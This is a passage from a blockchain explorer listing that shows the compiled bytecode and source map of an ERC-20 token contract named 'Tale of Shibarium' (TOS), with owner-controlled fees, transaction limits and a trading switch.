9d67e93982480ff3234a5e0108028ad164d80549091906115dd9084906118ce565b9091555050600e546013546115f29190611a13565b601355600e54604080519182525161dead916001600160a01b03871691600080516020611a568339815191529181900360200190a3600f5430600090815260016020526040812080549091906116499084906118ce565b9091555050600f5460405190815230906001600160a01b03861690600080516020611a568339815191529060200160405180910390a36000600f54600e54600d5461169491906118ce565b61169e91906118ce565b90506116aa8184611a13565b95945050505050565b6000602082840312156116c4578081fd5b81356116cf81611a40565b9392505050565b6000602082840312156116e7578081fd5b81516116cf81611a40565b60008060408385031215611704578081fd5b823561170f81611a40565b9150602083013561171f81611a40565b809150509250929050565b60008060006060848603121561173e578081fd5b833561174981611a40565b9250602084013561175981611a40565b929592945050506040919091013590565b6000806040838503121561177c578182fd5b823561178781611a40565b946020939093013593505050565b6000602082840312156117a6578081fd5b815180151581146116cf578182fd5b600080604083850312156117c7578182fd5b50508035926020909101359150565b6000602080835283518082850152825b81811015611802578581018301518582016040015282016117e6565b818111156118135783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118ad5784516001600160a01b031683529383019391830191600101611888565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e1576118e1611a2a565b500190565b60008261190157634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561194157816000190482111561192757611927611a2a565b8085161561193457918102915b93841c939080029061190b565b509250929050565b60006116cf60ff84168360008261196257506001610690565b8161196f57506000610690565b8160018114611985576002811461198f576119ab565b6001915050610690565b60ff8411156119a0576119a0611a2a565b50506001821b610690565b5060208310610133831016604e8410600b84101617156119ce575081810a610690565b6119d88383611906565b80600019048211156119ec576119ec611a2a565b029392505050565b6000816000190483118215151615611a0e57611a0e611a2a565b500290565b600082821015611a2557611a25611a2a565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461082157600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122095e596c8d7d643fe0e788c4c74415926402db53953c38d22da7d253d9312975564736f6c63430008040033

Deployed Bytecode

0x6080604052600436106102085760003560e01c80638da5cb5b11610118578063c24ad66c116100a0578063d0a398141161006f578063d0a39814146105cd578063dd62ed3e146105e3578063ea2f0b3714610629578063f239eab814610649578063f2fde38b1461065f57600080fd5b8063c24ad66c1461056c578063c9567bf91461058c578063c99f2fed146105a1578063cc70acee146105b757600080fd5b80639f71146d116100e75780639f71146d146104d0578063a8b08982146104f0578063a9059cbb14610516578063b359886e14610536578063b9e937001461055657600080fd5b80638da5cb5b1461045a578063921369131461047857806395d89b411461048e5780639740a946146104ba57600080fd5b80633722355c1161019b5780636cce46fc1161016a5780636cce46fc146103ce5780636fc3eaec146103e457806370a08231146103f9578063715018a61461042f5780637bce5a041461044457600080fd5b80633722355c14610359578063437823ec1461037b57806347afcbfe1461039b5780635bb13ca4146103b157600080fd5b80631d6167ac116101d75780631d6167ac146102d95780631f3fed8f1461030757806323b872dd1461031d578063313ce5671461033d57600080fd5b806303fd2a451461021457806306fdde0314610247578063095ea7b31461028a57806318160ddd146102ba57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561025357600080fd5b5060408051808201909152601181527054616c65206f662053686962617269756d60781b60208201525b60405161023e91906117d6565b34801561029657600080fd5b506102aa6102a536600461176a565b61067f565b604051901515815260200161023e565b3480156102c657600080fd5b506013545b60405190815260200161023e565b3480156102e557600080fd5b506010546102f49061ffff1681565b60405161ffff909116815260200161023e565b34801561031357600080fd5b506102cb600f5481565b34801561032957600080fd5b506102aa61033836600461172a565b610696565b34801561034957600080fd5b506040516009815260200161023e565b34801561036557600080fd5b506103796103743660046116b3565b61074c565b005b34801561038757600080fd5b506103796103963660046116b3565b61079a565b3480156103a757600080fd5b506102cb600a5481565b3480156103bd57600080fd5b506103796013546015819055601455565b3480156103da57600080fd5b506102cb60095481565b3480156103f057600080fd5b506103796107e8565b34801561040557600080fd5b506102cb6104143660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561043b57600080fd5b50610379610824565b34801561045057600080fd5b506102cb60075481565b34801561046657600080fd5b506000546001600160a01b031661022a565b34801561048457600080fd5b506102cb600b5481565b34801561049a57600080fd5b50604080518082019091526003815262544f5360e81b602082015261027d565b3480156104c657600080fd5b506102cb600d5481565b3480156104dc57600080fd5b506103796104eb3660046116b3565b61085a565b3480156104fc57600080fd5b5060105461022a906201000090046001600160a01b031681565b34801561052257600080fd5b506102aa61053136600461176a565b6108a5565b34801561054257600080fd5b506103796105513660046117b5565b6108b2565b34801561056257600080fd5b506102cb60085481565b34801561057857600080fd5b506103796105873660046117b5565b610943565b34801561059857600080fd5b506103796109a3565b3480156105ad57600080fd5b506102cb60065481565b3480156105c357600080fd5b506102cb600e5481565b3480156105d957600080fd5b506102cb600c5481565b3480156105ef57600080fd5b506102cb6105fe3660046116f2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561063557600080fd5b506103796106443660046116b3565b610a6c565b34801561065557600080fd5b506102cb60055481565b34801561066b57600080fd5b5061037961067a3660046116b3565b610ab7565b600061068c338484610b4f565b5060015b92915050565b60006106a3848484610c73565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561072d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610741853361073c8685611a13565b610b4f565b506001949350505050565b6000546001600160a01b031633146107765760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6016546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610821573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161072490611829565b610858600061110e565b565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600460205260409020805460ff19169055565b600061068c338484610c73565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161072490611829565b600782905560065460055483916108f2916118ce565b6108fc91906118ce565b600855600b819055600a546009548291610915916118ce565b61091f91906118ce565b600c81905560085461138891610934916118ce565b111561093f57600080fd5b5050565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161072490611829565b6109796009600a611949565b61098390836119f4565b6015556109926009600a611949565b61099c90826119f4565b6014555050565b6000546001600160a01b031633146109cd5760405162461bcd60e51b815260040161072490611829565b6012805462ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610a3457600080fd5b505af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108219190611795565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161072490611829565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b03163314610ae15760405162461bcd60e51b815260040161072490611829565b6001600160a01b038116610b465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610724565b6108218161110e565b6001600160a01b038316610bb15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610724565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610724565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610724565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610724565b60008111610d9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610724565b6001600160a01b038316600090815260016020526040902054811115610e1d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610724565b601254600160a01b900460ff1680610e4d57506001600160a01b03831660009081526003602052604090205460ff165b80610e7057506001600160a01b03821660009081526003602052604090205460ff165b610ebc5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c6564207965740000000000000000006044820152606401610724565b6012546001600160a01b038481169116148015610ee757506011546001600160a01b03838116911614155b8015610f0c57506001600160a01b03821660009081526003602052604090205460ff16155b15610f6357601554811115610f635760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610724565b6012546001600160a01b038481169116148015610f8e57506011546001600160a01b03838116911614155b8015610fb357506001600160a01b03821660009081526004602052604090205460ff16155b15611037576014546001600160a01b038316600090815260016020526040902054610fde90836118ce565b11156110375760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610724565b30600090815260016020526040902054601254600160a81b900460ff1615801561106f57506012546001600160a01b03858116911614155b80156110845750601254600160b01b900460ff165b80156110905750600081115b156110b95761109e8161115e565b4766f8b0a10e4700008111156110b7576110b747611303565b505b6001600160a01b0384166000908152600360205260409020546111089085908590859060ff168061110257506001600160a01b03871660009081526003602052604090205460ff165b1561133d565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120857600080fd5b505afa15801561121c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124091906116d6565b8160018151811061126157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546112879130911684610b4f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c090859060009086903090429060040161185e565b600060405180830381600087803b1580156112da57600080fd5b505af11580156112ee573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561093f573d6000803e3d6000fd5b6001600160a01b03841660009081526001602052604081208054849290611365908490611a13565b9091555060009050816113785782611383565b6113838585856113f9565b6001600160a01b0385166000908152600160205260408120805492935083929091906113b09084906118ce565b92505081905550836001600160a01b0316856001600160a01b0316600080516020611a56833981519152836040516113ea91815260200190565b60405180910390a35050505050565b6012546000906001600160a01b03858116911614801561141b57506000600854115b156114915760105460055461ffff9091169061143790846119f4565b61144191906118e6565b600d5560105460065461ffff9091169061145b90846119f4565b61146591906118e6565b600e5560105460075461ffff9091169061147f90846119f4565b61148991906118e6565b600f55611522565b6012546001600160a01b0384811691161480156114b057506000600c54115b156115225760105460095461ffff909116906114cc90846119f4565b6114d691906118e6565b600d55601054600a5461ffff909116906114f090846119f4565b6114fa91906118e6565b600e55601054600b5461ffff9091169061151490846119f4565b61151e91906118e6565b600f555b600d546010546201000090046001600160a01b0316600090815260016020526040812080549091906115559084906118ce565b9091555050601054600d546040516001600160a01b0362010000909304831692871691600080516020611a568339815191529161159491815260200190565b60405180910390a3600e5461dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d80549091906115dd9084906118ce565b9091555050600e546013546115f29190611a13565b601355600e54604080519182525161dead916001600160a01b03871691600080516020611a568339815191529181900360200190a3600f5430600090815260016020526040812080549091906116499084906118ce565b9091555050600f5460405190815230906001600160a01b03861690600080516020611a568339815191529060200160405180910390a36000600f54600e54600d5461169491906118ce565b61169e91906118ce565b90506116aa8184611a13565b95945050505050565b6000602082840312156116c4578081fd5b81356116cf81611a40565b9392505050565b6000602082840312156116e7578081fd5b81516116cf81611a40565b60008060408385031215611704578081fd5b823561170f81611a40565b9150602083013561171f81611a40565b809150509250929050565b60008060006060848603121561173e578081fd5b833561174981611a40565b9250602084013561175981611a40565b929592945050506040919091013590565b6000806040838503121561177c578182fd5b823561178781611a40565b946020939093013593505050565b6000602082840312156117a6578081fd5b815180151581146116cf578182fd5b600080604083850312156117c7578182fd5b50508035926020909101359150565b6000602080835283518082850152825b81811015611802578581018301518582016040015282016117e6565b818111156118135783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118ad5784516001600160a01b031683529383019391830191600101611888565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e1576118e1611a2a565b500190565b60008261190157634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561194157816000190482111561192757611927611a2a565b8085161561193457918102915b93841c939080029061190b565b509250929050565b60006116cf60ff84168360008261196257506001610690565b8161196f57506000610690565b8160018114611985576002811461198f576119ab565b6001915050610690565b60ff8411156119a0576119a0611a2a565b50506001821b610690565b5060208310610133831016604e8410600b84101617156119ce575081810a610690565b6119d88383611906565b80600019048211156119ec576119ec611a2a565b029392505050565b6000816000190483118215151615611a0e57611a0e611a2a565b500290565b600082821015611a2557611a25611a2a565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461082157600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122095e596c8d7d643fe0e788c4c74415926402db53953c38d22da7d253d9312975564736f6c63430008040033

Deployed Bytecode Sourcemap

4270:9709:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5383:73;;;;;;;;;;;;5414:42;5383:73;;;;;-1:-1:-1;;;;;2475:32:1;;;2457:51;;2445:2;2430:18;5383:73:0;;;;;;;;6994:69;;;;;;;;;;-1:-1:-1;7055:5:0;;;;;;;;;;;;-1:-1:-1;;;7055:5:0;;;;6994:69;;;;;;;:::i;7704:138::-;;;;;;;;;;-1:-1:-1;7704:138:0;;;;;:::i;:::-;;:::i;:::-;;;2963:14:1;;2956:22;2938:41;;2926:2;2911:18;7704:138:0;2893:92:1;7223:81:0;;;;;;;;;;-1:-1:-1;7294:7:0;;7223:81;;;8668:25:1;;;8656:2;8641:18;7223:81:0;8623:76:1;5336:38:0;;;;;;;;;;-1:-1:-1;5336:38:0;;;;;;;;;;;8503:6:1;8491:19;;;8473:38;;8461:2;8446:18;5336:38:0;8428:89:1;5296:33:0;;;;;;;;;;;;;;;;7850:420;;;;;;;;;;-1:-1:-1;7850:420:0;;;;;:::i;:::-;;:::i;7148:69::-;;;;;;;;;;-1:-1:-1;7148:69:0;;4749:1;9834:36:1;;9822:2;9807:18;7148:69:0;9789:87:1;12534:123:0;;;;;;;;;;-1:-1:-1;12534:123:0;;;;;:::i;:::-;;:::i;:::-;;12297:111;;;;;;;;;;-1:-1:-1;12297:111:0;;;;;:::i;:::-;;:::i;5027:34::-;;;;;;;;;;;;;;;;13020:103;;;;;;;;;;;;13072:7;;13058:11;:21;;;13090:15;:25;13020:103;4981:39;;;;;;;;;;;;;;;;13131:94;;;;;;;;;;;;;:::i;7310:103::-;;;;;;;;;;-1:-1:-1;7310:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7394:16:0;7376:7;7394:16;;;:7;:16;;;;;;;7310:103;2933:94;;;;;;;;;;;;;:::i;4844:37::-;;;;;;;;;;;;;;;;2710:87;;;;;;;;;;-1:-1:-1;2756:7:0;2783:6;-1:-1:-1;;;;;2783:6:0;2710:87;;5068:38;;;;;;;;;;;;;;;;7069:73;;;;;;;;;;-1:-1:-1;7132:7:0;;;;;;;;;;;;-1:-1:-1;;;7132:7:0;;;;7069:73;;5211:37;;;;;;;;;;;;;;;;12665:122;;;;;;;;;;-1:-1:-1;12665:122:0;;;;;:::i;:::-;;:::i;5463:26::-;;;;;;;;;;-1:-1:-1;5463:26:0;;;;;;;-1:-1:-1;;;;;5463:26:0;;;7419:144;;;;;;;;;;-1:-1:-1;7419:144:0;;;;;:::i;:::-;;:::i;13233:388::-;;;;;;;;;;-1:-1:-1;13233:388:0;;;;;:::i;:::-;;:::i;4888:84::-;;;;;;;;;;;;;;;;12795:217;;;;;;;;;;-1:-1:-1;12795:217:0;;;;;:::i;:::-;;:::i;13733:199::-;;;;;;;;;;;;;:::i;4804:33::-;;;;;;;;;;;;;;;;5255:32;;;;;;;;;;;;;;;;5113:89;;;;;;;;;;;;;;;;7569:129;;;;;;;;;;-1:-1:-1;7569:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;7668:18:0;;;7650:7;7668:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7569:129;12416:110;;;;;;;;;;-1:-1:-1;12416:110:0;;;;;:::i;:::-;;:::i;4759:38::-;;;;;;;;;;;;;;;;3035:192;;;;;;;;;;-1:-1:-1;3035:192:0;;;;;:::i;:::-;;:::i;7704:138::-;7779:4;7787:39;2211:10;7810:7;7819:6;7787:8;:39::i;:::-;-1:-1:-1;7835:4:0;7704:138;;;;;:::o;7850:420::-;7956:4;7973:36;7983:6;7991:9;8002:6;7973:9;:36::i;:::-;-1:-1:-1;;;;;8049:19:0;;8022:24;8049:19;;;:11;:19;;;;;;;;2211:10;8049:33;;;;;;;;8101:26;;;;8093:79;;;;-1:-1:-1;;;8093:79:0;;5835:2:1;8093:79:0;;;5817:21:1;5874:2;5854:18;;;5847:30;5913:34;5893:18;;;5886:62;-1:-1:-1;;;5964:18:1;;;5957:38;6012:19;;8093:79:0;;;;;;;;;8183:57;8192:6;2211:10;8214:25;8233:6;8214:16;:25;:::i;:::-;8183:8;:57::i;:::-;-1:-1:-1;8258:4:0;;7850:420;-1:-1:-1;;;;7850:420:0:o;12534:123::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12608:37:0::1;;::::0;;;:28:::1;:37;::::0;;;;:44;;-1:-1:-1;;12608:44:0::1;12648:4;12608:44;::::0;;12534:123::o;12297:111::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12366:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;12366:34:0::1;12396:4;12366:34;::::0;;12297:111::o;13131:94::-;13172:13;;:45;;-1:-1:-1;;;;;13172:13:0;;;;13195:21;13172:45;;;;;:13;:45;:13;:45;13195:21;13172:13;:45;;;;;;;;;;;;;;;;;;;;;13131:94::o;2933:::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;2998:21:::1;3016:1;2998:9;:21::i;:::-;2933:94::o:0;12665:122::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12737:37:0::1;12777:5;12737:37:::0;;;:28:::1;:37;::::0;;;;:45;;-1:-1:-1;;12737:45:0::1;::::0;;12665:122::o;7419:144::-;7497:4;7505:42;2211:10;7529:9;7540:6;7505:9;:42::i;13233:388::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;13328:15:::1;:26:::0;;;13402:14:::1;::::0;13380:19:::1;::::0;13346:8;;13380:36:::1;::::0;::::1;:::i;:::-;:54;;;;:::i;:::-;13365:12;:69:::0;13445:16:::1;:28:::0;;;13524:15:::1;::::0;13501:20:::1;::::0;13464:9;;13501:38:::1;::::0;::::1;:::i;:::-;:57;;;;:::i;:::-;13484:13;:74:::0;;;13578:12:::1;::::0;13608:4:::1;::::0;13578:26:::1;::::0;::::1;:::i;:::-;:34;;13569:44;;;::::0;::::1;;13233:388:::0;;:::o;12795:217::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;12930:14:::1;4749:1;12930:2;:14;:::i;:::-;12915:29;::::0;:12;:29:::1;:::i;:::-;12901:11;:43:::0;12990:14:::1;4749:1;12990:2;:14;:::i;:::-;12973:31;::::0;:14;:31:::1;:::i;:::-;12955:15;:49:::0;-1:-1:-1;;12795:217:0:o;13733:199::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;13795:11:::1;:18:::0;;-1:-1:-1;;;;13824:18:0;;-1:-1:-1;;;13824:18:0;;;;13891:15:::1;::::0;13853:71:::1;::::0;-1:-1:-1;;;13853:71:0;;-1:-1:-1;;;;;13891:15:0;;::::1;13853:71;::::0;::::1;2693:51:1::0;-1:-1:-1;;2760:18:1;;;2753:34;13860:13:0;;;13853:29:::1;::::0;2666:18:1;;13853:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;12416:110::-:0;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12483:27:0::1;12513:5;12483:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;12483:35:0::1;::::0;;12416:110::o;3035:192::-;2756:7;2783:6;-1:-1:-1;;;;;2783:6:0;2211:10;2845:23;2837:68;;;;-1:-1:-1;;;2837:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3124:22:0;::::1;3116:73;;;::::0;-1:-1:-1;;;3116:73:0;;4622:2:1;3116:73:0::1;::::0;::::1;4604:21:1::0;4661:2;4641:18;;;4634:30;4700:34;4680:18;;;4673:62;-1:-1:-1;;;4751:18:1;;;4744:36;4797:19;;3116:73:0::1;4594:228:1::0;3116:73:0::1;3200:19;3210:8;3200:9;:19::i;8278:335::-:0;-1:-1:-1;;;;;8371:19:0;;8363:68;;;;-1:-1:-1;;;8363:68:0;;7421:2:1;8363:68:0;;;7403:21:1;7460:2;7440:18;;;7433:30;7499:34;7479:18;;;7472:62;-1:-1:-1;;;7550:18:1;;;7543:34;7594:19;;8363:68:0;7393:226:1;8363:68:0;-1:-1:-1;;;;;8450:21:0;;8442:68;;;;-1:-1:-1;;;8442:68:0;;5029:2:1;8442:68:0;;;5011:21:1;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:32;5200:19;;8442:68:0;5001:224:1;8442:68:0;-1:-1:-1;;;;;8521:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8573:32;;8668:25:1;;;8573:32:0;;8641:18:1;8573:32:0;;;;;;;8278:335;;;:::o;8621:1492::-;-1:-1:-1;;;;;8709:18:0;;8701:68;;;;-1:-1:-1;;;8701:68:0;;7015:2:1;8701:68:0;;;6997:21:1;7054:2;7034:18;;;7027:30;7093:34;7073:18;;;7066:62;-1:-1:-1;;;7144:18:1;;;7137:35;7189:19;;8701:68:0;6987:227:1;8701:68:0;-1:-1:-1;;;;;8788:16:0;;8780:64;;;;-1:-1:-1;;;8780:64:0;;3800:2:1;8780:64:0;;;3782:21:1;3839:2;3819:18;;;3812:30;3878:34;3858:18;;;3851:62;-1:-1:-1;;;3929:18:1;;;3922:33;3972:19;;8780:64:0;3772:225:1;8780:64:0;8872:1;8863:6;:10;8855:64;;;;-1:-1:-1;;;8855:64:0;;6605:2:1;8855:64:0;;;6587:21:1;6644:2;6624:18;;;6617:30;6683:34;6663:18;;;6656:62;-1:-1:-1;;;6734:18:1;;;6727:39;6783:19;;8855:64:0;6577:231:1;8855:64:0;-1:-1:-1;;;;;7394:16:0;;7376:7;7394:16;;;:7;:16;;;;;;8938:6;:25;;8930:86;;;;-1:-1:-1;;;8930:86:0;;4204:2:1;8930:86:0;;;4186:21:1;4243:2;4223:18;;;4216:30;4282:34;4262:18;;;4255:62;-1:-1:-1;;;4333:18:1;;;4326:47;4390:19;;8930:86:0;4176:239:1;8930:86:0;9039:11;;-1:-1:-1;;;9039:11:0;;;;;:39;;-1:-1:-1;;;;;;9054:24:0;;;;;;:18;:24;;;;;;;;9039:39;:65;;;-1:-1:-1;;;;;;9082:22:0;;;;;;:18;:22;;;;;;;;9039:65;9031:101;;;;-1:-1:-1;;;9031:101:0;;7826:2:1;9031:101:0;;;7808:21:1;7865:2;7845:18;;;7838:30;7904:25;7884:18;;;7877:53;7947:18;;9031:101:0;7798:173:1;9031:101:0;9157:13;;-1:-1:-1;;;;;9149:21:0;;;9157:13;;9149:21;:55;;;;-1:-1:-1;9188:15:0;;-1:-1:-1;;;;;9174:30:0;;;9188:15;;9174:30;;9149:55;:83;;;;-1:-1:-1;;;;;;9210:22:0;;;;;;:18;:22;;;;;;;;9208:24;9149:83;9145:178;;;9271:11;;9261:6;:21;;9253:58;;;;-1:-1:-1;;;9253:58:0;;8178:2:1;9253:58:0;;;8160:21:1;8217:2;8197:18;;;8190:30;8256:26;8236:18;;;8229:54;8300:18;;9253:58:0;8150:174:1;9253:58:0;9345:13;;-1:-1:-1;;;;;9337:21:0;;;9345:13;;9337:21;:55;;;;-1:-1:-1;9376:15:0;;-1:-1:-1;;;;;9362:30:0;;;9376:15;;9362:30;;9337:55;:93;;;;-1:-1:-1;;;;;;9398:32:0;;;;;;:28;:32;;;;;;;;9396:34;9337:93;9333:231;;;9498:15;;-1:-1:-1;;;;;7394:16:0;;7376:7;7394:16;;;:7;:16;;;;;;9472:22;;:6;:22;:::i;:::-;:41;;9464:88;;;;-1:-1:-1;;;9464:88:0;;5432:2:1;9464:88:0;;;5414:21:1;5471:2;5451:18;;;5444:30;5510:34;5490:18;;;5483:62;-1:-1:-1;;;5561:18:1;;;5554:32;5603:19;;9464:88:0;5404:224:1;9464:88:0;9625:4;9576:28;7394:16;;;:7;:16;;;;;;9651:6;;-1:-1:-1;;;9651:6:0;;;;9650:7;:32;;;;-1:-1:-1;9669:13:0;;-1:-1:-1;;;;;9661:21:0;;;9669:13;;9661:21;;9650:32;:47;;;;-1:-1:-1;9686:11:0;;-1:-1:-1;;;9686:11:0;;;;9650:47;:73;;;;;9722:1;9701:20;:22;9650:73;9646:360;;;9744:38;9761:20;9744:16;:38::i;:::-;9830:21;9894:17;9873:38;;9870:121;;;9936:35;9949:21;9936:12;:35::i;:::-;9646:360;;-1:-1:-1;;;;;10053:24:0;;;;;;:18;:24;;;;;;10018:87;;10033:4;;10039:2;;10043:6;;10053:24;;;:50;;-1:-1:-1;;;;;;10081:22:0;;;;;;:18;:22;;;;;;;;10053:50;10051:53;10018:14;:87::i;:::-;8621:1492;;;;:::o;3235:173::-;3291:16;3310:6;;-1:-1:-1;;;;;3327:17:0;;;-1:-1:-1;;;;;;3327:17:0;;;;;;3360:40;;3310:6;;;;;;;3360:40;;3291:16;3360:40;3235:173;;:::o;10121:483::-;5991:6;:13;;-1:-1:-1;;;;5991:13:0;-1:-1:-1;;;5991:13:0;;;10223:16:::1;::::0;;10237:1:::1;10223:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10223:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10223:16:0::1;10199:40;;10268:4;10250;10255:1;10250:7;;;;;;-1:-1:-1::0;;;10250:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10250:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10294:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10294:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10250:7;;10294:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10284:4;10289:1;10284:7;;;;;;-1:-1:-1::0;;;10284:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10284:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10359:15:::1;::::0;10327:62:::1;::::0;10344:4:::1;::::0;10359:15:::1;10377:11:::0;10327:8:::1;:62::i;:::-;10400:15;::::0;:196:::1;::::0;-1:-1:-1;;;10400:196:0;;-1:-1:-1;;;;;10400:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10481:11;;10400:15:::1;::::0;10523:4;;10550::::1;::::0;10570:15:::1;::::0;10400:196:::1;;;:::i;